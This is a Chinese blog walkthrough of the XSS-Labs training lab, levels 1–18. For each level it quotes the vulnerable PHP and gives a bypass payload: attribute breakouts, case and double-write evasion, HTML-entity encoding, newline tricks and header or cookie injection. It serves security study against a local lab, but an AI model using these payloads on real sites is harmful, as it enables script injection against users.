对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)


最近闲来无事,重新翻阅了XSS-Labs的源码,整理了常见的防御思路,和对绕过方法进行了总结学习,具体的内容思路分析如下:

关卡记录

01-Level1

网站源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到网站的源码中第 17 行至第 18 行的运行逻辑是接收名称为 name 的参数,然后打印到网页上,
由于没有对$_GET变量进行验证或过滤,这可能会导致安全风险,比如 XSS 注入攻击,使用如下 Payload 可以触发 XSS 攻击。

http://127.0.0.1/xss/level1.php?name=%3Cscript%3Ealert(%271%27)%3C/script%3E

图片.png

02-Level2

网站源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

核心代码分析:

ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>

关键函数分析:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

htmlspecialchars 是一个在 PHP 中广泛使用的函数,它的主要作用是将特定的字符转换为 HTML 实体。这些特定的字符包括小于号(<)、大于号(>)、引号(")、尖括号(')和和号(&)。在输出到网页上时,这些字符如果以原始形式出现,可能会改变页面的结构或执行意外的脚本。通过转换这些字符为对应的 HTML 实体,htmlspecialchars 函数保证了输出的安全性和正确性。
同时:默认情况下,htmlspecialchars 只转换双引号。如果需要转换单引号和尖括号,需要设置相应的标志:

echo htmlspecialchars("This is a test & example", ENT_QUOTES);

当我们输入第一关的 payload 后会注意到,前端代码显示如下 文所示:
图片.png
其第一段和我们输入有关的代码以二级标题的形式显示在网页中并且存在过滤,而第二段和我们输入有关的代码则位于名为keywordinput模块的value中,因此我们考虑想办法让value中的值与input模块闭合,从而造成恶意的Javascript执行。
因此我们构造如下的 Payload:

"><script>alert('XSS Attack!');</script><!--

和原有 URL 组合即为:

http://127.0.0.1/xss/level2.php?keyword="><script>alert('XSS Attack!');</script><!--

可以看到成功嵌入恶意代码
图片.png最终成功触发 XSS 漏洞

图片.png03-Level3

网站源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

核心代码分析:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	

可以看到此时两处和输入有关的代码,都使用了 htmlspecialchars进行了过滤。
我们将第二关的 Payload 放入第三关,可以看到尖括号已经被过滤:
图片.png
因此我们考虑不使用尖括号进行 XSS 攻击,而是在原有基础上进行闭合 并且进行额外的JavaScript执行。
因此构造 Payload 如下:

' onmouseover=javascript:alert(123) >

和原有 URL 组合即为:

http://127.0.0.1/xss/level3.php?keyword=%27+onfocus%3Djavascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2

此时前端代码显示如下,成功触发 XSS 漏洞

图片.png图片.png04-Level4

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

核心代码:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />

代码分析:可以看到 Level4 不同于 Level3 的区别在于首先闭合方式上 Level4 的双引号闭合,而 Level3 是单引号闭合,并且 input 模块处没有使用htmlspecialchars,但是 Level4 过滤的<,>两个括号,因此绕过思路同htmlspecialchars,不同的是htmlspecialchars会过滤双引号,而此处需要我们使用双引号绕过,因此十分好绕过,构造 Payload 如下:

" onmouseover=javascript:alert(123) 

和原有 URL 组合即为:

http://127.0.0.1/xss/level4.php?keyword=%22+onmouseover%3Djavascript%3Aalert%28123%29+&submit=%E6%90%9C%E7%B4%A2

此时前端代码显示如下,成功触发 XSS 漏洞
图片.png

05-Level5

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

核心代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">

核心代码分析:
此处使用了多个函数进行处理,首先将字符统一转换为小写字符,避免了大小写绕过,然后再将<script转换为<scr_ipt,最后再将on转换为了o_n,这个时候简单的使用事件对象和script标签进行触发会很困难,因此考虑使用超链接触发,构造 Payload 如下:

" ><a href=javascript:alert(2024)>haha</a>

与原本 URL 组合后发送,网页显示如下,点击后触发 XSS
图片.png

06-Level6

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

核心代码:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

可以看到本关卡的过滤过滤了scriptonsrcdatahref,但是并没有将字符统一转换为小写,因此可以进行大小写绕过,构造 payload 如下:

" oNmouseover=javascRipt:alert(123) 

与原本 URL 组合后发送,网页显示如下,成功触发 XSS
图片.png

07-Level7

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

核心代码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />

本关卡在 Level6 的基础上统一将字符串转为了小写,进行了过滤。但是这个时候的过滤是将恶意字符串转换为空,因此可以考虑使用双写绕过,构造 payload 如下:

" oonNmouseover=javascRscriptipt:alert(123) 

与原本 URL 组合后发送,网页显示如下,成功触发 XSS
图片.png

08-Level8

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

核心代码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

可以看到本次的过滤手法有:

  • 统一转换为小写字符串
  • 过滤了关键字**script****on****src****data****href**
  • 对双引号做了过滤,导致了闭合困难。

突破口:

 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

这种时候,原有的英文编码方式已经无法绕过,考虑换一种方式,此时我们考虑使用 HTML 实体编码:

HTML实体编码是一种在HTML文档中使用的编码机制,它允许开发者将特定的字符序列转换为安全的显示内容。在HTML中,某些字符具有特殊意义,比如小于号(<)和大于号(>)用于定义HTML标签,如果直接在这些字符后面加上文本,浏览器会误以为是标签而不是文本。为了避免这种情况,HTML实体编码提供了一种方法,将这些特殊字符转换为编码形式,从而在浏览器中正确显示文本。

HTML实体编码的基本结构由一个特殊字符的开始(通常是"&“),接着是一个实体名称或实体编号,最后是一个分号(”;")。实体名称通常是拉丁字母和数字的组合,而实体编号则是该字符在Unicode标准中的数值表示。

此时我们首先构造 Payload:

javascript:alert(1)

然后将其转换为 HTML 实体编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

图片.png复制 Payload 进行发送,成功触发 XSS
图片.png

09-Level 9

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

本关卡依旧使用 HTML 实体编码,不同的是,它需要我们的字符串中出现http://,否则无法正常显示,因此构造 Payload 如下:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

注意语句中的//http://这是利用了注释符的作用,如果没有前面的//会导致语句无法正常执行。
复制 Payload 进行发送,成功触发 XSS
图片.png

10-Level10

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

核心代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

首先使用了htmlspecialchars过滤了变量keyword的参数,然后存在隐藏参数,t_sort过滤了尖括号,因此考虑使用 Level6 的绕过方式进行绕过,同时需要将隐藏参数显示在前端使得触发,构造 payload 如下:

" type="text" onmouseover="javascript:alert(1)
# 注意,onmouseover= 后的双引号是为了完成闭合

复制 Payload 进行发送,成功触发 XSS
图片.png

11-Level11

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

核心代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到其实对变量keywordt_sort都进行了过滤,而新引进了参数HTTP_REFERER,因此我们构造数据包,从 Refer 参数中进行恶意 Payload 发送,实现 XSS 攻击
图片.png
图片.png

12-Level12

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

核心代码:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">

解题思路:
**通过 ****User-Agent**进行注入,构造数据包如下:
图片.png发送数据包后成功触发 XSS 请求攻击
图片.png

13-Level13

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

核心代码:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';

解题思路:
**通过 ****Cookie**进行注入,构造数据包如下:
图片.png发送数据包后成功触发 XSS 请求攻击
图片.png

14-Level14

不知道为啥无法正常访问服务,考察的是 EXIF XSS,后续会专门找资料进行练习

15-Level15

网页源码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

核心代码:

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

其中,最关键的是ng-include,ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
构造 Payload 如下:

  'level1.php?name=<img src=x onerror=alert(1)>'

发送后成功触发 XSS 攻击

http://127.0.0.1/xss/level15.php?src=  'level1.php?name=<img src=x onerror=alert(1)>'

图片.png

16-Level16

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

核心代码:

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";

过滤了 script、空格、斜杠符等字符。
因此通过换行符进行绕过
构造 payload 如下:

<img
src=1
onerror=alert(123)>

放入 URL 中格式如下:

http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0Asrc=1%0Aonerror=alert(123)%3E

发送后成功触发 XSS 攻击
图片.png

17-Level17

网页源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

核心代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

构造 Payload:

http://127.0.0.1/xss/level17.php?arg01=a&arg02=1%27%20onmouseover=alert(1)

图片.png

18-Level18

网页源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

核心代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

构造 Payload:

http://127.0.0.1/xss/level18.php?arg01=a&arg02=1%27%20onmouseover=alert(1)

图片.png

方法总结

XSS 常见过滤方法和绕过方式如下表所示:

过滤方式 绕过方法 示例
htmlspecialchars 函数 这种方法过滤了尖括号,默认情况下过滤了双引号,因此我们需要使用构造闭合的方式去绕过 'onmouseover=javascript:alert(123) >
图片.png
正则匹配过滤 on,并且不受空格替换,统一进行小写转换 这种可以尝试使用标签进行绕过 " ><a href=javascript:alert(2024)>haha</a>图片.png
正则匹配过滤 on,并且不受空格替换,不统一进行小写转换 通过大小写绕过的方式进行绕过 " oNmouseover=javascRipt:alert(123)
图片.png
正则匹配过滤 on,受空格替换,统一进行小写转换 通过双写绕过的方式进行绕过 " oonNmouseover=javascRscriptipt:alert(123) 图片.png

- 统一转换为小写字符串
- 过滤了关键字**script****on****src****data****href**
- 对双引号做了过滤,导致了闭合困难。
使用 HTML 实体编码绕过
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
图片.png
过滤了 script、空格、斜杠符等字符。
因此通过换行符进行绕过 图片.png

在进行 XSS 注入的时候,最关键的就是关注交互的参数点,这种参数点可能并不会以显示的性格是显示在前端,可能是 hidden 的形式,也可能是 Cookie、User-Agent、Refer 这些参数。
因此我们需要在渗透的时候更多的关注这些参数点。同时也需要解决如何自动化发现 XSS 漏洞的问题。

相关推荐

  1. xss-lablevel11-level14

    2024-02-07 18:58:01       6 阅读
  2. xss-lab 1-18关payload

    2024-02-07 18:58:01       7 阅读
  3. XSS方法总结

    2024-02-07 18:58:01       37 阅读
  4. xss-lab靶场level1-level10

    2024-02-07 18:58:01       6 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-07 18:58:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-07 18:58:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-07 18:58:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-07 18:58:01       20 阅读

热门阅读

  1. Vue+Koa项目完整上线流程中遇到的问题

    2024-02-07 18:58:01       26 阅读
  2. 【0258】pg内核支持的所有 inval messages 类型

    2024-02-07 18:58:01       34 阅读
  3. 低代码平台痛点

    2024-02-07 18:58:01       31 阅读
  4. Windows下配置多个账号的git ssh

    2024-02-07 18:58:01       33 阅读
  5. VoIP之主备注册服务器机制

    2024-02-07 18:58:01       32 阅读
  6. 新环境常用国内镜像合集

    2024-02-07 18:58:01       36 阅读
  7. vue的事件修饰符和常用的按键别名

    2024-02-07 18:58:01       26 阅读
  8. LeetCode 丑数

    2024-02-07 18:58:01       34 阅读
  9. C++俄罗斯方块 -- 菜单展示和选择 -- 方法

    2024-02-07 18:58:01       33 阅读
  10. C#面:ASP.NET中常见的内置对象

    2024-02-07 18:58:01       30 阅读